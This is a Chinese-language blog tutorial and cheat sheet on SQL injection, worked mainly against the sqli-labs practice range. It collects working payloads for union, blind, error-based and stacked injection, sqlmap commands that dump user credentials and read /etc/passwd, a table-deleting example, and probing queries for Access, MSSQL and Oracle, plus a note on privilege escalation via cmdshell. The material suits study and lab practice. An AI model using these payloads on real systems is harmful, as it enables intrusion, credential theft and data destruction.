web安全之SQL注入漏洞

发布时间 2023-05-25 16:07:54作者: dustfree

SQL注入

原理:用户能控制输入的内容;Web应用把用户输入的内容带入到数据库中执行。

分类:依据注入点参数类型分类:数字型注入、字符型注入、搜索型注入

          依据获取信息的方式分类:union注入、布尔盲注、时间盲注、报错注入、堆叠查询注入

          依据请求方式分类:GET注入、POST注入、Cookie注入、HTTP头注入(XFF注入、UA注入、Reference注入)

          依据DBMS分类:Access、MSSQL、Oracle、MySQL

位置:参数点、登陆框、搜索框

1.union注入      【sqli-labs靶场的第1-4关】

目的                                            脚本
0.判断是否存在注入点                       添加单引号' 双引号" 单括号) 双括号))看看是否报错,报错说明可能存在
                                           添加 and 1=1 和 and 1=2 看看显示页面是否一致,不一致说明可能存在
1.判断数字型or字符型,字符型需要注释。	   单引号'报错且双引号"正常 为字符型
                                           and 1=1 正常且 and 1=2 报错 为数值型
                                           加引号报错=数值型;加引号正常=字符型
                                           做减法运算,可运算为数值型;
2.判断前个查询语句的列数	           order by  8 --+
3.判断回显点	                           ?id=-1 union select 1,2,3 --+
4.查库名                                   ?id=-1 union select 1,database(),3  --+
5.查表名	   ?id=-3 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3 --+
6.查列名	   ?id=-3 union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' ),3 --+
7.查字段	   ?id=-3 union select 1,(select group_concat(id,0x7e,username,'~',password) from security.users),3 --+

2.盲注

原理:SQL盲注,与一般注入的区别在于,一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法从显示页面上获取执行结果,甚至连注入语句是否执行都无从得知,因此盲注的难度要比一般注入高。目前网络上现存的SQL注入漏洞大多是SQL盲注。

常用函数

函数 	                          描述
left(字符串,截取长度) 	        从左边截取指定长度的字符串
length(字符串) 	                获取字符串的长度
ascii(字符串) 	                  将指定字符串进行ascii编码
substr(字符串,start,截取长度) 	截取字符串,可以指定起始位置和长度
mid(字符串,start,截取长度) 	     截取字符串,可以指定起始位置和长度
count() 	                     计算总数,返回匹配条件的行数。
sleep(n) 	                     将程序挂起n秒
if(参数1,参数2,参数3) 	     参数1为条件,当参数1返回的结果为true时,执行参数2,否则执行参数3

 手工盲注步骤:

1.判断是否存在注入,注入是字符型还是数字型
2.猜解当前数据库名
3.猜解数据库中的表名
4.猜解表中的字段名
5.猜解数据

2.1 布尔盲注

  • 页面上没有显示位
  • 并且没有输出SQL语句执行错误信息
  • 只能通过页面返回正常与不正常判断,即布尔值True or False

手工进行布尔盲注:

http://192.168.8.146/sqli/Less-8/?id=1' and ascii(substr(database(),{},1))>{} --

sqlmap进行布尔盲注

#查询数据库 #【security】
python sqlmap.py -u http://192.168.8.146/sqli/Less-8/?id=1 --technique B --dbs --batch --threads 10

#获取数据库中的表 #【emails、referers、uagents、users】
python sqlmap.py  -u http://192.168.8.146/sqli/Less-8/?id=1 --technique B -D security  --tables --batch --threads 10

#获取表中的字段名 #【id、username、password】
python sqlmap.py -u http://192.168.8.146/sqli/Less-8/?id=1 --technique B -D security -T users --columns --batch --threads 10

#获取字段信息 #【Dumb|Dumb、dhakkan|dumbo ...】
python sqlmap.py -u http://192.168.8.146/sqli/Less-8/?id=1 --technique B -D security -T users -C username,password --dump --batch --threads 10

2.2 时间盲注

  • 页面上没有显示位
  • 也没有SQL语句执行报错信息
  • 页面无任何异常,正确的sql语句和错误的sql语句页面返回一致
  • 只能使用sleep()函数进行判断

手工进行时间盲注:

http://192.168.8.146/sqli/Less-9/?id=4  ' and sleep(1) --+
http://192.168.8.146/sqli/Less-9/?id=4  ' and if(ascii(substr(database(),1,1))>1,sleep(1),0) --+

sqlmap进行时间盲注:

#查询数据库 #【security】
python sqlmap.py -u http://192.168.8.146/sqli/Less-9/?id=4 --technique T --dbs --batch --threads 10

#获取数据库中的表 #【emails、referers、uagents、users】
python sqlmap.py  -u http://192.168.8.146/sqli/Less-9/?id=4 --technique T -D security  --tables --batch --threads 10

#获取表中的字段名 #【id、username、password】
python sqlmap.py -u http://192.168.8.146/sqli/Less-9/?id=4 --technique T -D security -T users --columns --batch --threads 10 

#获取字段信息 【Dumb|Dumb、dhakkan|dumbo ...】
python sqlmap.py -u http://192.168.8.146/sqli/Less-9/?id=4 --technique T -D security -T users -C username,password --dump --batch --threads 10

2.3 DNSlog盲注(外带)

什么是DNS
DNS的全称是 Domain Name System(域名系统),它将域名解析为 IP,使人更方便地访问互联网。当用户输入某一网址如www.baidu.com,网络上的 DNS 服务器会将该域名解析,并找到对应的真实IP:182.61.200.6,使用户可以访问这台服务器上相应的服务。

什么是DNSlog
DNSlog 就是存储在 DNS 服务器上的域名信息,它记录着用户对域名的访问信息,类似日志文件。SQL 盲注、命令执行、SSRF 及 XSS 等攻击而无法看到回显结果时,就会用到 DNSlog 技术。

为什么用Dnslog盲注
对于SQL盲注,我们可以通过布尔或者时间盲注获取内容,但是整个过程效率低,需要发送很多的请求进行判断,容易触发安全设备的防护,最后导致 IP 被 ban,Dnslog 盲注可以减少发送的请求,直接回显数据实现注入。

利用的前提条件

  • MySQL支持load_file()函数,通过执行 show variables like '%secure%'; 查看 load_file() 是否可以读取文件。 
  • 由于使用的是Windows的UNC路径特性,因此不支持Linux平台。只支持Windows平台。
  • 拥有DNSlog地址,可使用以下DNSlog平台:http://ceye.io  或  http://www.dnslog.cn

3.报错注入        

原理:报错注入就是利用了数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中。

3.1 floor报错注入

原理:双查询报错/floor报错注入是由于rand(),count(),group by ,floor四个语句联合使用造成的,缺一不可。

待更...

3.2 extractvalue()报错注入

利用xpath语法错误来进行报错注入。主要利用extractvalueupdatexml两个函数。

待更...

3.3 updatexml()报错注入        【sqli-labs靶场的第5,6关】

【Less-5】GET-Double Injection-Single Quotes-String——双注入单引号
?id=-1' and updatexml(1,concat(0x7e,database(),0x7e),1)--+
【Less-6】GET-Double Injection-Double Quotes-String——双注入双引号
?id=1" and updatexml(1,concat(0x7e,database(),0x7e),1)--+

待更...

4.宽字节注入

待更...

5.堆叠注入

原理:在SQL中,分号(;)是用来表示一条SQL语句的结束。试想一下我们在分号(;)结束后一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。

用户输入:1; DELETE FROM products
服务器端生成的sql语句为:select * from products where productid=1;DELETE FROM products
当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。

6.HTTP head注入

原理:有些时候,后台开发人员为了验证客户端头信息(比如常用的cookie验证)或者通过HTTP header头信息获取客户端的一些资料,比如User-Agent、Accept字段等的时候,会对客户端的HTTP header信息进行获取并使用SQL进行处理,如果此时没有足够的安全考虑则可能会导致基于HTTP header的SQL Inject漏洞。

6.1 Cookie注入

原理:通过修改Cookie的值进行注入,Cookie注入跟普通sql注入过程一样。

sqlmap进行Cookie注入

python sqlmap.py -u "http://xxx.com" --cookie "id=1" --dbs --level 2 

6.2 User-Agent注入

待更...

6.3 XFF注入

待更...

7.二次编码注入

待更...

8.读写文件

读取文件

函数:load_file(file_name)读取文件并返回该文件内容作为一个字符串。

前提:

必须有权限读取并且文件必须完全可读
必须指定文件完整路径
能够使用union查询(sql注入时)
对Web目录有写权限用户必须有secure_file_priv=文件权限
欲读取文件必须小于max_allowed_packetde的允许值

sqlmap读取文件:

python sqlmap.py -u "http://xxx/x?id=1" --file-read=/etc/passwd

注:若mysql<5.0:可利用sqlmap的sql-shell读取文件。

写入文件(比如一句话木马)

函数:into outfile()

sqlmap写入文件:

待更...

9.其它DBMS注入

Access

默认后缀:.mdb

目的	                              脚本	                                  判断
判断是否为access数据库	  and exists (select * from msysobjects)>0	  根据返回的报错信息确认
判断是否存在admin表	  and exists (select * from admin)	           未报错说明存在admin表
判断是否存在admin列	  and exists (select admin from admin)	       未报错说明存在admin列
判断是否存在password列	  and exists (select admin from admin)	       未报错说明存在password列

MSSQL

默认端口:1433

工具:啊D、Pangolin

策略:小权限:文件管理---差异备份---写入小马                   sa权限:执行cmdshell命令——提权、开3389

目的	                    脚本	                                           判断
判断是否为mssql	        and user>0                                      根据返回的报错信息确认
                        and exists (select * from sysobjects)>0	
获取表users的数据	and 1=(select top 1 uname from users)
                        and 1=(select top 1 upass  from users)

Oracle

默认端口:1521

目的                     	脚本	                   判断
猜表名	   and (select count(*) from admin) <>0        	返回正常则admin表存在
猜列名	   and (select count(user) from admin) <>0	         返回正常则user列存在,继续猜pwd列是否存在
猜账户的长度	  and (select count(*) from admin where length(name)>=5)=1	   返回正常即账户长度为5
猜账户(通过ASII码)	 and (select count(*) from admin where ascii(substr(name,1,1))>=97) =1
猜密码的长度           and (select count(*) from admin where lengh(pwd)>=8)=1      返回正常即密码长度为8,判断密码为明文
猜密码(通过ASII码)	  and (select count(*) from admin where ascii(substr(pwd,1,1))>=97) =1

*其它未归档

get注入                 id后的常规注入
post注入(登录框注入)      sqlmap.py -u "登录页面url" --data "tfUPass=111&UName=111" --dbs -D-T-C--dump   
cookie注入(可绕过拦截)  使用Pangolin或注入中转器绕过拦截后,进行get注入。
搜索型注入         bp抓包保存至1.txt(存在keyword关键字);sqlmp.py -r 1.txt --tables
base64注入
伪静态注入: 修改页面成.php?id=89